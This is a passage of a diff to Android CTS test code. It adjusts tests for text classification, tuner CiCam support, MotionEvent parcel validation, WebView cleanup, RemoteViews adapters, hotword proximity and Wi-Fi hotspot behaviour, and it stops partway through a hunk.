- new HashSet(entityConfig.resolveEntityListModifications(
- Arrays.asList("c", "w", "x"))));
- }
-
- @Test
- public void testResolveEntityListModifications_explicit() {
- TextClassifier.EntityConfig entityConfig =
- TextClassifier.EntityConfig.createWithExplicitEntityList(Arrays.asList("a", "b"));
- assertEquals(Collections.EMPTY_LIST, entityConfig.getHints());
- assertEquals(new HashSet<String>(Arrays.asList("a", "b")),
- entityConfig.resolveEntityListModifications(Arrays.asList("w", "x")));
- }
-
- @Test
- public void testEntityConfig_full() {
- TextClassifier.EntityConfig entityConfig =
- new TextClassifier.EntityConfig.Builder()
- .setIncludedTypes(
- Collections.singletonList(ConversationAction.TYPE_OPEN_URL))
- .setExcludedTypes(
- Collections.singletonList(ConversationAction.TYPE_CALL_PHONE))
- .build();
-
- TextClassifier.EntityConfig recovered =
- parcelizeDeparcelize(entityConfig, TextClassifier.EntityConfig.CREATOR);
-
- assertFullEntityConfig(entityConfig);
- assertFullEntityConfig(recovered);
- }
-
- @Test
- public void testEntityConfig_full_notIncludeTypesFromTextClassifier() {
- TextClassifier.EntityConfig entityConfig =
- new TextClassifier.EntityConfig.Builder()
- .includeTypesFromTextClassifier(false)
- .setIncludedTypes(
- Collections.singletonList(ConversationAction.TYPE_OPEN_URL))
- .setExcludedTypes(
- Collections.singletonList(ConversationAction.TYPE_CALL_PHONE))
- .build();
-
- TextClassifier.EntityConfig recovered =
- parcelizeDeparcelize(entityConfig, TextClassifier.EntityConfig.CREATOR);
-
- assertFullEntityConfig_notIncludeTypesFromTextClassifier(entityConfig);
- assertFullEntityConfig_notIncludeTypesFromTextClassifier(recovered);
- }
-
- @Test
- public void testEntityConfig_minimal() {
- TextClassifier.EntityConfig entityConfig =
- new TextClassifier.EntityConfig.Builder().build();
-
- TextClassifier.EntityConfig recovered =
- parcelizeDeparcelize(entityConfig, TextClassifier.EntityConfig.CREATOR);
-
- assertMinimalEntityConfig(entityConfig);
- assertMinimalEntityConfig(recovered);
- }
-
- private static void assertValidResult(TextSelection selection) {
- assertNotNull(selection);
- assertTrue(selection.getSelectionStartIndex() >= 0);
- assertTrue(selection.getSelectionEndIndex() > selection.getSelectionStartIndex());
- assertTrue(selection.getEntityCount() >= 0);
- for (int i = 0; i < selection.getEntityCount(); i++) {
- final String entity = selection.getEntity(i);
- assertNotNull(entity);
- final float confidenceScore = selection.getConfidenceScore(entity);
- assertTrue(confidenceScore >= 0);
- assertTrue(confidenceScore <= 1);
- }
- if (BuildCompat.isAtLeastS()) {
- assertThat(selection.getTextClassification()).isNull();
- }
- }
-
- private static void assertValidResult(TextClassification classification) {
- assertNotNull(classification);
- assertTrue(classification.getEntityCount() >= 0);
- for (int i = 0; i < classification.getEntityCount(); i++) {
- final String entity = classification.getEntity(i);
- assertNotNull(entity);
- final float confidenceScore = classification.getConfidenceScore(entity);
- assertTrue(confidenceScore >= 0);
- assertTrue(confidenceScore <= 1);
- }
- assertNotNull(classification.getActions());
- }
-
- private static void assertValidResult(TextLinks links) {
- assertNotNull(links);
- for (TextLinks.TextLink link : links.getLinks()) {
- assertTrue(link.getEntityCount() > 0);
- assertTrue(link.getStart() >= 0);
- assertTrue(link.getStart() <= link.getEnd());
- for (int i = 0; i < link.getEntityCount(); i++) {
- String entityType = link.getEntity(i);
- assertNotNull(entityType);
- final float confidenceScore = link.getConfidenceScore(entityType);
- assertTrue(confidenceScore >= 0);
- assertTrue(confidenceScore <= 1);
- }
- }
- }
-
- private static void assertValidResult(TextLanguage language) {
- assertNotNull(language);
- assertNotNull(language.getExtras());
- assertTrue(language.getLocaleHypothesisCount() >= 0);
- for (int i = 0; i < language.getLocaleHypothesisCount(); i++) {
- final ULocale locale = language.getLocale(i);
- assertNotNull(locale);
- final float confidenceScore = language.getConfidenceScore(locale);
- assertTrue(confidenceScore >= 0);
- assertTrue(confidenceScore <= 1);
- }
- }
-
- private static void assertValidResult(ConversationActions conversationActions) {
- assertNotNull(conversationActions);
- List<ConversationAction> conversationActionsList =
- conversationActions.getConversationActions();
- assertNotNull(conversationActionsList);
- for (ConversationAction conversationAction : conversationActionsList) {
- assertThat(conversationAction.getType()).isNotNull();
- assertThat(conversationAction.getConfidenceScore()).isIn(Range.closed(0f, 1.0f));
- }
- }
-
- private static void assertFullEntityConfig_notIncludeTypesFromTextClassifier(
- TextClassifier.EntityConfig typeConfig) {
- List<String> extraTypesFromTextClassifier = Arrays.asList(
- ConversationAction.TYPE_CALL_PHONE,
- ConversationAction.TYPE_CREATE_REMINDER);
-
- Collection<String> resolvedTypes =
- typeConfig.resolveEntityListModifications(extraTypesFromTextClassifier);
-
- assertThat(typeConfig.shouldIncludeTypesFromTextClassifier()).isFalse();
- assertThat(typeConfig.resolveEntityListModifications(Collections.emptyList()))
- .containsExactly(ConversationAction.TYPE_OPEN_URL);
- assertThat(resolvedTypes).containsExactly(ConversationAction.TYPE_OPEN_URL);
- }
-
- private static void assertFullEntityConfig(TextClassifier.EntityConfig typeConfig) {
- List<String> extraTypesFromTextClassifier = Arrays.asList(
- ConversationAction.TYPE_CALL_PHONE,
- ConversationAction.TYPE_CREATE_REMINDER);
-
- Collection<String> resolvedTypes =
- typeConfig.resolveEntityListModifications(extraTypesFromTextClassifier);
-
- assertThat(typeConfig.shouldIncludeTypesFromTextClassifier()).isTrue();
- assertThat(typeConfig.resolveEntityListModifications(Collections.emptyList()))
- .containsExactly(ConversationAction.TYPE_OPEN_URL);
- assertThat(resolvedTypes).containsExactly(
- ConversationAction.TYPE_OPEN_URL, ConversationAction.TYPE_CREATE_REMINDER);
- }
-
- private static void assertMinimalEntityConfig(TextClassifier.EntityConfig typeConfig) {
- assertThat(typeConfig.shouldIncludeTypesFromTextClassifier()).isTrue();
- assertThat(typeConfig.resolveEntityListModifications(Collections.emptyList())).isEmpty();
- assertThat(typeConfig.resolveEntityListModifications(
- Collections.singletonList(ConversationAction.TYPE_OPEN_URL))).containsExactly(
- ConversationAction.TYPE_OPEN_URL);
- }
-
- private static <T extends Parcelable> T parcelizeDeparcelize(
- T parcelable, Parcelable.Creator<T> creator) {
- Parcel parcel = Parcel.obtain();
- parcelable.writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
- return creator.createFromParcel(parcel);
- }
-}
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
index 72093a9..6f9a7e3 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
@@ -1936,6 +1936,13 @@
// connect CiCam to Frontend
if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
// TODO: get real CiCam id from MediaCas
+ int res = tunerA.connectFrontendToCiCam(ciCamId);
+ // INVALID_LTS_ID means hal doesn't support CiCam
+ if (res == Tuner.INVALID_LTS_ID) {
+ // Resources cleanup before return
+ tunerA.close();
+ return;
+ }
assertEquals(Tuner.RESULT_SUCCESS, tunerA.connectFrontendToCiCam(ciCamId));
linkCiCamToFrontendSupported = true;
} else {
diff --git a/tests/tests/util/Android.bp b/tests/tests/util/Android.bp
index 1c29b21..3fd0ab5 100644
--- a/tests/tests/util/Android.bp
+++ b/tests/tests/util/Android.bp
@@ -24,6 +24,7 @@
"cts",
"general-tests",
"mts-statsd",
+ "mcts-statsd",
],
libs: ["android.test.runner"],
static_libs: [
diff --git a/tests/tests/view/src/android/view/cts/MotionEventTest.java b/tests/tests/view/src/android/view/cts/MotionEventTest.java
index 839a9ab..c1f9073 100644
--- a/tests/tests/view/src/android/view/cts/MotionEventTest.java
+++ b/tests/tests/view/src/android/view/cts/MotionEventTest.java
@@ -311,7 +311,8 @@
// Move to pointer id count.
parcel.setDataPosition(4);
- parcel.writeInt(17);
+ // Use a very large pointer count, which should make this parcel invalid.
+ parcel.writeInt(117);
parcel.setDataPosition(0);
try {
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceProximityTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceProximityTest.java
index d198be2..2615ddd 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceProximityTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceProximityTest.java
@@ -31,9 +31,12 @@
import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeTrue;
+
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.attentionservice.cts.CtsTestAttentionService;
+import android.content.res.Resources;
import android.os.ParcelFileDescriptor;
import android.platform.test.annotations.AppModeFull;
import android.provider.DeviceConfig;
@@ -105,8 +108,22 @@
private static final Instrumentation sInstrumentation =
InstrumentationRegistry.getInstrumentation();
+ private final Resources mResources = getInstrumentation().getTargetContext()
+ .getResources();
+
+ private boolean mIsProximitySupported;
+
@Before
public void setup() {
+ try {
+ mIsProximitySupported = mResources.getBoolean(
+ mResources.getIdentifier("config_enableProximityService", "bool", "android"));
+ } catch (Resources.NotFoundException e) {
+ // this would mean resource is not found in device. skip test
+ }
+ assumeTrue("Proximity Feature not available on this device. Skipping test.",
+ mIsProximitySupported);
+
// Set up Attention Service
CtsTestAttentionService.reset();
assertThat(setTestableAttentionService(FAKE_SERVICE_PACKAGE)).isTrue();
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
index 8070951..0da18f4 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
@@ -32,6 +32,7 @@
import android.platform.test.annotations.AppModeFull;
import android.util.Base64;
import android.view.ViewGroup;
+import android.view.ViewParent;
import android.webkit.SslErrorHandler;
import android.webkit.WebChromeClient;
import android.webkit.WebIconDatabase;
@@ -494,33 +495,45 @@
final WebView childWebView = mOnUiThread.createWebView();
final SettableFuture<Void> createWindowFuture = SettableFuture.create();
- mOnUiThread.setWebChromeClient(new WebChromeClient() {
- @Override
- public boolean onCreateWindow(
- WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) {
- WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj;
- transport.setWebView(childWebView);
- resultMsg.sendToTarget();
- createWindowFuture.set(null);
- return true;
- }
- });
- mSettings.setJavaScriptCanOpenWindowsAutomatically(false);
- assertFalse(mSettings.getJavaScriptCanOpenWindowsAutomatically());
- mOnUiThread.loadUrl(mWebServer.getAssetUrl(TestHtmlConstants.POPUP_URL));
- new PollingCheck(WebkitUtils.TEST_TIMEOUT_MS) {
- @Override
- protected boolean check() {
- return "Popup blocked".equals(mOnUiThread.getTitle());
- }
- }.run();
- assertFalse("onCreateWindow should not have been called yet", createWindowFuture.isDone());
+ try {
+ mOnUiThread.setWebChromeClient(new WebChromeClient() {
+ @Override
+ public boolean onCreateWindow(
+ WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) {
+ WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj;
+ transport.setWebView(childWebView);
+ resultMsg.sendToTarget();
+ createWindowFuture.set(null);
+ return true;
+ }
+ });
- mSettings.setJavaScriptCanOpenWindowsAutomatically(true);
- assertTrue(mSettings.getJavaScriptCanOpenWindowsAutomatically());
- mOnUiThread.loadUrl(mWebServer.getAssetUrl(TestHtmlConstants.POPUP_URL));
- WebkitUtils.waitForFuture(createWindowFuture);
+ mSettings.setJavaScriptCanOpenWindowsAutomatically(false);
+ assertFalse(mSettings.getJavaScriptCanOpenWindowsAutomatically());
+ mOnUiThread.loadUrl(mWebServer.getAssetUrl(TestHtmlConstants.POPUP_URL));
+ new PollingCheck(WebkitUtils.TEST_TIMEOUT_MS) {
+ @Override
+ protected boolean check() {
+ return "Popup blocked".equals(mOnUiThread.getTitle());
+ }
+ }.run();
+ assertFalse("onCreateWindow should not have been called yet",
+ createWindowFuture.isDone());
+
+ mSettings.setJavaScriptCanOpenWindowsAutomatically(true);
+ assertTrue(mSettings.getJavaScriptCanOpenWindowsAutomatically());
+ mOnUiThread.loadUrl(mWebServer.getAssetUrl(TestHtmlConstants.POPUP_URL));
+ WebkitUtils.waitForFuture(createWindowFuture);
+ } finally {
+ WebkitUtils.onMainThreadSync(() -> {
+ ViewParent parent = childWebView.getParent();
+ if (parent instanceof ViewGroup) {
+ ((ViewGroup) parent).removeView(childWebView);
+ }
+ childWebView.destroy();
+ });
+ }
}
@Test
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index 1b39b27..d57b692 100755
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -53,6 +53,7 @@
import android.view.KeyEvent;
import android.view.MotionEvent;
import android.view.ViewGroup;
+import android.view.ViewParent;
import android.view.textclassifier.TextClassification;
import android.view.textclassifier.TextClassifier;
import android.view.textclassifier.TextSelection;
@@ -797,46 +798,56 @@
final TestJavaScriptInterface obj = new TestJavaScriptInterface();
final WebView childWebView = mOnUiThread.createWebView();
- WebViewOnUiThread childOnUiThread = new WebViewOnUiThread(childWebView);
- childOnUiThread.getSettings().setJavaScriptEnabled(true);
- childOnUiThread.addJavascriptInterface(obj, "interface");
+ try {
+ WebViewOnUiThread childOnUiThread = new WebViewOnUiThread(childWebView);
+ childOnUiThread.getSettings().setJavaScriptEnabled(true);
+ childOnUiThread.addJavascriptInterface(obj, "interface");
- final SettableFuture<Void> onCreateWindowFuture = SettableFuture.create();
- mOnUiThread.setWebChromeClient(
- new WebViewSyncLoader.WaitForProgressClient(mOnUiThread) {
- @Override
- public boolean onCreateWindow(
- WebView view,
- boolean isDialog,
- boolean isUserGesture,
- Message resultMsg) {
- getTestEnvironment().addContentView(
- childWebView,
- new ViewGroup.LayoutParams(
- ViewGroup.LayoutParams.FILL_PARENT,
- ViewGroup.LayoutParams.WRAP_CONTENT));
- WebView.WebViewTransport transport =
- (WebView.WebViewTransport) resultMsg.obj;
- transport.setWebView(childWebView);
- resultMsg.sendToTarget();
- onCreateWindowFuture.set(null);
- return true;
- }
- });
+ final SettableFuture<Void> onCreateWindowFuture = SettableFuture.create();
+ mOnUiThread.setWebChromeClient(
+ new WebViewSyncLoader.WaitForProgressClient(mOnUiThread) {
+ @Override
+ public boolean onCreateWindow(
+ WebView view,
+ boolean isDialog,
+ boolean isUserGesture,
+ Message resultMsg) {
+ getTestEnvironment().addContentView(
+ childWebView,
+ new ViewGroup.LayoutParams(
+ ViewGroup.LayoutParams.FILL_PARENT,
+ ViewGroup.LayoutParams.WRAP_CONTENT));
+ WebView.WebViewTransport transport =
+ (WebView.WebViewTransport) resultMsg.obj;
+ transport.setWebView(childWebView);
+ resultMsg.sendToTarget();
+ onCreateWindowFuture.set(null);
+ return true;
+ }
+ });
- mWebServer = getTestEnvironment().getSetupWebServer(SslMode.INSECURE);
- mOnUiThread.loadUrlAndWaitForCompletion(
- mWebServer.getAssetUrl(TestHtmlConstants.POPUP_URL));
- WebkitUtils.waitForFuture(onCreateWindowFuture);
+ mWebServer = getTestEnvironment().getSetupWebServer(SslMode.INSECURE);
+ mOnUiThread.loadUrlAndWaitForCompletion(
+ mWebServer.getAssetUrl(TestHtmlConstants.POPUP_URL));
+ WebkitUtils.waitForFuture(onCreateWindowFuture);
- childOnUiThread.loadUrlAndWaitForCompletion("about:blank");
+ childOnUiThread.loadUrlAndWaitForCompletion("about:blank");
- assertEquals("true", childOnUiThread.evaluateJavascriptSync("'interface' in window"));
+ assertEquals("true", childOnUiThread.evaluateJavascriptSync("'interface' in window"));
- assertEquals(
- "The injected object should be functional",
- "42",
- childOnUiThread.evaluateJavascriptSync("interface.test()"));
+ assertEquals(
+ "The injected object should be functional",
+ "42",
+ childOnUiThread.evaluateJavascriptSync("interface.test()"));
+ } finally {
+ WebkitUtils.onMainThreadSync(() -> {
+ ViewParent parent = childWebView.getParent();
+ if (parent instanceof ViewGroup) {
+ ((ViewGroup) parent).removeView(childWebView);
+ }
+ childWebView.destroy();
+ });
+ }
}
private final class TestPictureListener implements PictureListener {
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
index 408f327..a4c17c6f 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
@@ -474,8 +474,10 @@
assertTrue(adapter.hasStableIds());
assertEquals(2, mListView.getChildCount());
- TextView textView0 = (TextView) mListView.getChildAt(0);
- TextView textView1 = (TextView) mListView.getChildAt(1);
+ AppWidgetHostView child0 = (AppWidgetHostView) mListView.getChildAt(0);
+ AppWidgetHostView child1 = (AppWidgetHostView) mListView.getChildAt(1);
+ TextView textView0 = (TextView) child0.getChildAt(0);
+ TextView textView1 = (TextView) child1.getChildAt(0);
assertEquals("Hello", textView0.getText());
assertEquals("World", textView1.getText());
}
@@ -532,10 +534,13 @@
assertTrue(adapter.hasStableIds());
assertEquals(3, listView.getChildCount());
- TextView textView0 = (TextView) listView.getChildAt(0);
- TextView textView1 = (TextView) listView.getChildAt(1);
+ AppWidgetHostView child0 = (AppWidgetHostView) listView.getChildAt(0);
+ AppWidgetHostView child1 = (AppWidgetHostView) listView.getChildAt(1);
+ AppWidgetHostView child2 = (AppWidgetHostView) listView.getChildAt(2);
+ TextView textView0 = (TextView) child0.getChildAt(0);
+ TextView textView1 = (TextView) child1.getChildAt(0);
CompoundButton checkBox2 =
- (CompoundButton) ((ViewGroup) listView.getChildAt(2)).getChildAt(0);
+ (CompoundButton) ((ViewGroup) child2.getChildAt(0)).getChildAt(0);
assertEquals("Hello", textView0.getText());
assertEquals("World", textView1.getText());
assertEquals("Checkbox", checkBox2.getText());
@@ -601,7 +606,8 @@
runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
Adapter initialAdapter = listView.getAdapter();
- TextView initialFirstItemView = (TextView) listView.getChildAt(0);
+ AppWidgetHostView child0 = (AppWidgetHostView) listView.getChildAt(0);
+ TextView initialFirstItemView = (TextView) child0.getChildAt(0);
int initialFirstItemViewType = initialAdapter.getItemViewType(0);
items = new RemoteCollectionItems.Builder()
@@ -616,8 +622,9 @@
// layoutId should have been maintained (as 0) and the next view type assigned to the
// checkbox layout. The view for the row should have been recycled without inflating a new
// view.
+ AppWidgetHostView child1 = (AppWidgetHostView) listView.getChildAt(1);
assertSame(initialAdapter, listView.getAdapter());
- assertSame(initialFirstItemView, listView.getChildAt(1));
+ assertSame(initialFirstItemView, child1.getChildAt(0));
assertEquals(initialFirstItemViewType, listView.getAdapter().getItemViewType(1));
assertNotEquals(initialFirstItemViewType, listView.getAdapter().getItemViewType(0));
}
@@ -634,7 +641,8 @@
runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
Adapter initialAdapter = listView.getAdapter();
- TextView initialFirstItemView = (TextView) listView.getChildAt(0);
+ AppWidgetHostView child0 = (AppWidgetHostView) listView.getChildAt(0);
+ TextView initialFirstItemView = (TextView) child0.getChildAt(0);
items = new RemoteCollectionItems.Builder()
.addItem(8 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.checkbox_layout))
@@ -644,9 +652,10 @@
runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
// The adapter should have been replaced, which is required when the view type increases.
+ AppWidgetHostView child1 = (AppWidgetHostView) listView.getChildAt(1);
assertEquals(2, listView.getAdapter().getViewTypeCount());
assertNotSame(initialAdapter, listView.getAdapter());
- assertNotSame(initialFirstItemView, listView.getChildAt(1));
+ assertNotSame(initialFirstItemView, child1.getChildAt(0));
}
@Test
@@ -663,7 +672,8 @@
runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
Adapter initialAdapter = listView.getAdapter();
- TextView initialSecondItemView = (TextView) listView.getChildAt(1);
+ AppWidgetHostView child1 = (AppWidgetHostView) listView.getChildAt(1);
+ TextView initialSecondItemView = (TextView) child1.getChildAt(0);
assertEquals(1, initialAdapter.getItemViewType(1));
items = new RemoteCollectionItems.Builder()
@@ -675,9 +685,10 @@
// The adapter should have been kept, and the second item should have maintained its view
// type of 1 even though its now the only view type.
+ AppWidgetHostView child0 = (AppWidgetHostView) listView.getChildAt(0);
assertEquals(2, listView.getAdapter().getViewTypeCount());
assertSame(initialAdapter, listView.getAdapter());
- assertSame(initialSecondItemView, listView.getChildAt(0));
+ assertSame(initialSecondItemView, child0.getChildAt(0));
assertEquals(1, listView.getAdapter().getItemViewType(0));
}
@@ -694,7 +705,8 @@
runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
Adapter initialAdapter = listView.getAdapter();
- TextView initialSecondItemView = (TextView) listView.getChildAt(1);
+ AppWidgetHostView child1 = (AppWidgetHostView) listView.getChildAt(1);
+ TextView initialSecondItemView = (TextView) child1.getChildAt(0);
assertEquals(1, initialAdapter.getItemViewType(1));
items = new RemoteCollectionItems.Builder()
@@ -705,9 +717,10 @@
// The adapter should have been kept, and kept its higher view count to allow for views to
// be recycled.
+ AppWidgetHostView child0 = (AppWidgetHostView) listView.getChildAt(0);
assertEquals(2, listView.getAdapter().getViewTypeCount());
assertSame(initialAdapter, listView.getAdapter());
- assertSame(initialSecondItemView, listView.getChildAt(0));
+ assertSame(initialSecondItemView, child0.getChildAt(0));
assertEquals(1, listView.getAdapter().getItemViewType(0));
}
@@ -755,10 +768,14 @@
assertEquals(13, adapter.getItemId(3));
assertEquals(4, mGridView.getChildCount());
- TextView textView0 = (TextView) mGridView.getChildAt(0);
- TextView textView1 = (TextView) mGridView.getChildAt(1);
- TextView textView2 = (TextView) mGridView.getChildAt(2);
- TextView textView3 = (TextView) mGridView.getChildAt(3);
+ AppWidgetHostView child0 = (AppWidgetHostView) mGridView.getChildAt(0);
+ AppWidgetHostView child1 = (AppWidgetHostView) mGridView.getChildAt(1);
+ AppWidgetHostView child2 = (AppWidgetHostView) mGridView.getChildAt(2);
+ AppWidgetHostView child3 = (AppWidgetHostView) mGridView.getChildAt(3);
+ TextView textView0 = (TextView) child0.getChildAt(0);
+ TextView textView1 = (TextView) child1.getChildAt(0);
+ TextView textView2 = (TextView) child2.getChildAt(0);
+ TextView textView3 = (TextView) child3.getChildAt(0);
assertEquals("Hello", textView0.getText());
assertEquals("World", textView1.getText());
assertEquals("Hola", textView2.getText());
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index bc4a2bb..66352e2 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -5035,7 +5035,6 @@
@UiThreadTest
@Test
public void testSetLineHeightInUnits() {
- assertEquals(1f, mActivity.getResources().getConfiguration().fontScale, /* delta= */ 0.02f);
mTextView = new TextView(mActivity);
mTextView.setText("This is some random text");
diff --git a/tests/tests/wifi/Android.bp b/tests/tests/wifi/Android.bp
index 2d25382..f18b5f4 100644
--- a/tests/tests/wifi/Android.bp
+++ b/tests/tests/wifi/Android.bp
@@ -53,6 +53,8 @@
"general-tests",
"mts-tethering",
"mts-wifi",
+ "mcts-tethering",
+ "mcts-wifi",
"sts",
],
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 63bdc5c..ffe2080 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -204,6 +204,7 @@
private static final int SCAN_TEST_WAIT_DURATION_MS = 15_000;
private static final int TEST_WAIT_DURATION_MS = 10_000;
private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
+ private static final int WIFI_OFF_ON_TIMEOUT_MILLIS = 5_000;
private static final int WIFI_PNO_CONNECT_TIMEOUT_MILLIS = 90_000;
private static final int WAIT_MSEC = 60;
private static final int DURATION_SCREEN_TOGGLE = 2000;
@@ -1149,26 +1150,32 @@
if (!sWifiManager.isPortableHotspotSupported()) {
return;
}
- boolean wifiEnabled = sWifiManager.isWifiEnabled();
- if (wifiEnabled) {
- // Re-enabled Wi-Fi as shell for HalDeviceManager legacy LOHS behavior when there's no
- // STA+AP concurrency.
- ShellIdentityUtils.invokeWithShellPermissions(() -> sWifiManager.setWifiEnabled(false));
- PollingCheck.check("Wifi turn off failed!", 2_000, () -> !sWifiManager.isWifiEnabled());
- SystemUtil.runShellCommand("cmd wifi set-wifi-enabled enabled");
- PollingCheck.check("Wifi turn on failed!", 2_000, () -> sWifiManager.isWifiEnabled());
- }
- TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
+ runWithScanning(() -> {
+ boolean wifiEnabled = sWifiManager.isWifiEnabled();
+ if (wifiEnabled) {
+ // Re-enabled Wi-Fi as shell for HalDeviceManager legacy LOHS behavior when there's
+ // no STA+AP concurrency.
+ ShellIdentityUtils.invokeWithShellPermissions(() ->
+ sWifiManager.setWifiEnabled(false));
+ PollingCheck.check("Wifi turn off failed!", WIFI_OFF_ON_TIMEOUT_MILLIS,
+ () -> !sWifiManager.isWifiEnabled());
+ SystemUtil.runShellCommand("cmd wifi set-wifi-enabled enabled");
+ PollingCheck.check("Wifi turn on failed!", WIFI_OFF_ON_TIMEOUT_MILLIS,
+ () -> sWifiManager.isWifiEnabled());
+ }
+ TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
- // add sleep to avoid calling stopLocalOnlyHotspot before TetherController initialization.
- // TODO: remove this sleep as soon as b/124330089 is fixed.
- Log.d(TAG, "Sleeping for 2 seconds");
- Thread.sleep(2000);
+ // add sleep to avoid calling stopLocalOnlyHotspot before TetherController
+ // initialization.
+ // TODO: remove this sleep as soon as b/124330089 is fixed.
+ Log.d(TAG, "Sleeping for 2 seconds");
+ Thread.sleep(2000);
- stopLocalOnlyHotspot(callback, wifiEnabled);
+ stopLocalOnlyHotspot(callback, wifiEnabled);
- // wifi should either stay on, or come back on
- assertEquals(wifiEnabled, sWifiManager.isWifiEnabled());
+ // wifi should either stay on, or come back on
+ assertEquals(wifiEnabled, sWifiManager.isWifiEnabled());
+ }, false);
}
/**
@@ -1928,46 +1935,52 @@
// check that softap mode is supported by the device
assumeTrue(sWifiManager.isPortableHotspotSupported());
- boolean caughtException = false;
+ runWithScanning(() -> {
+ boolean caughtException = false;
+ boolean wifiEnabled = sWifiManager.isWifiEnabled();
+ if (wifiEnabled) {
+ // Re-enabled Wi-Fi as shell for HalDeviceManager legacy LOHS behavior when there's
+ // no STA+AP concurrency.
+ ShellIdentityUtils.invokeWithShellPermissions(() ->
+ sWifiManager.setWifiEnabled(false));
+ PollingCheck.check("Wifi turn off failed!", WIFI_OFF_ON_TIMEOUT_MILLIS,
+ () -> !sWifiManager.isWifiEnabled());
+ SystemUtil.runShellCommand("cmd wifi set-wifi-enabled enabled");
+ PollingCheck.check("Wifi turn on failed!", WIFI_OFF_ON_TIMEOUT_MILLIS,
+ () -> sWifiManager.isWifiEnabled());
+ }
- boolean wifiEnabled = sWifiManager.isWifiEnabled();
- if (wifiEnabled) {
- // Re-enabled Wi-Fi as shell for HalDeviceManager legacy LOHS behavior when there's no
- // STA+AP concurrency.
- ShellIdentityUtils.invokeWithShellPermissions(() -> sWifiManager.setWifiEnabled(false));
- PollingCheck.check("Wifi turn off failed!", 2_000, () -> !sWifiManager.isWifiEnabled());
- SystemUtil.runShellCommand("cmd wifi set-wifi-enabled enabled");
- PollingCheck.check("Wifi turn on failed!", 2_000, () -> sWifiManager.isWifiEnabled());
- }
+ TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
- TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
+ // now make a second request - this should fail.
+ TestLocalOnlyHotspotCallback callback2 = new TestLocalOnlyHotspotCallback(mLock);
+ try {
+ sWifiManager.startLocalOnlyHotspot(callback2, null);
+ } catch (IllegalStateException e) {
+ Log.d(TAG, "Caught the IllegalStateException we expected: called startLOHS twice");
+ caughtException = true;
+ }
+ if (!caughtException) {
+ // second start did not fail, should clean up the hotspot.
- // now make a second request - this should fail.
- TestLocalOnlyHotspotCallback callback2 = new TestLocalOnlyHotspotCallback(mLock);
- try {
- sWifiManager.startLocalOnlyHotspot(callback2, null);
- } catch (IllegalStateException e) {
- Log.d(TAG, "Caught the IllegalStateException we expected: called startLOHS twice");
- caughtException = true;
- }
- if (!caughtException) {
- // second start did not fail, should clean up the hotspot.
+ // add sleep to avoid calling stopLocalOnlyHotspot before TetherController
+ // initialization.
+ // TODO: remove this sleep as soon as b/124330089 is fixed.
+ Log.d(TAG, "Sleeping for 2 seconds");
+ Thread.sleep(2000);
- // add sleep to avoid calling stopLocalOnlyHotspot before TetherController initialization.
+ stopLocalOnlyHotspot(callback2, wifiEnabled);
+ }
+ assertTrue(caughtException);
+
+ // add sleep to avoid calling stopLocalOnlyHotspot before TetherController
+ // initialization.
// TODO: remove this sleep as soon as b/124330089 is fixed.
Log.d(TAG, "Sleeping for 2 seconds");
Thread.sleep(2000);
- stopLocalOnlyHotspot(callback2, wifiEnabled);
- }
- assertTrue(caughtException);
-
- // add sleep to avoid calling stopLocalOnlyHotspot before TetherController initialization.
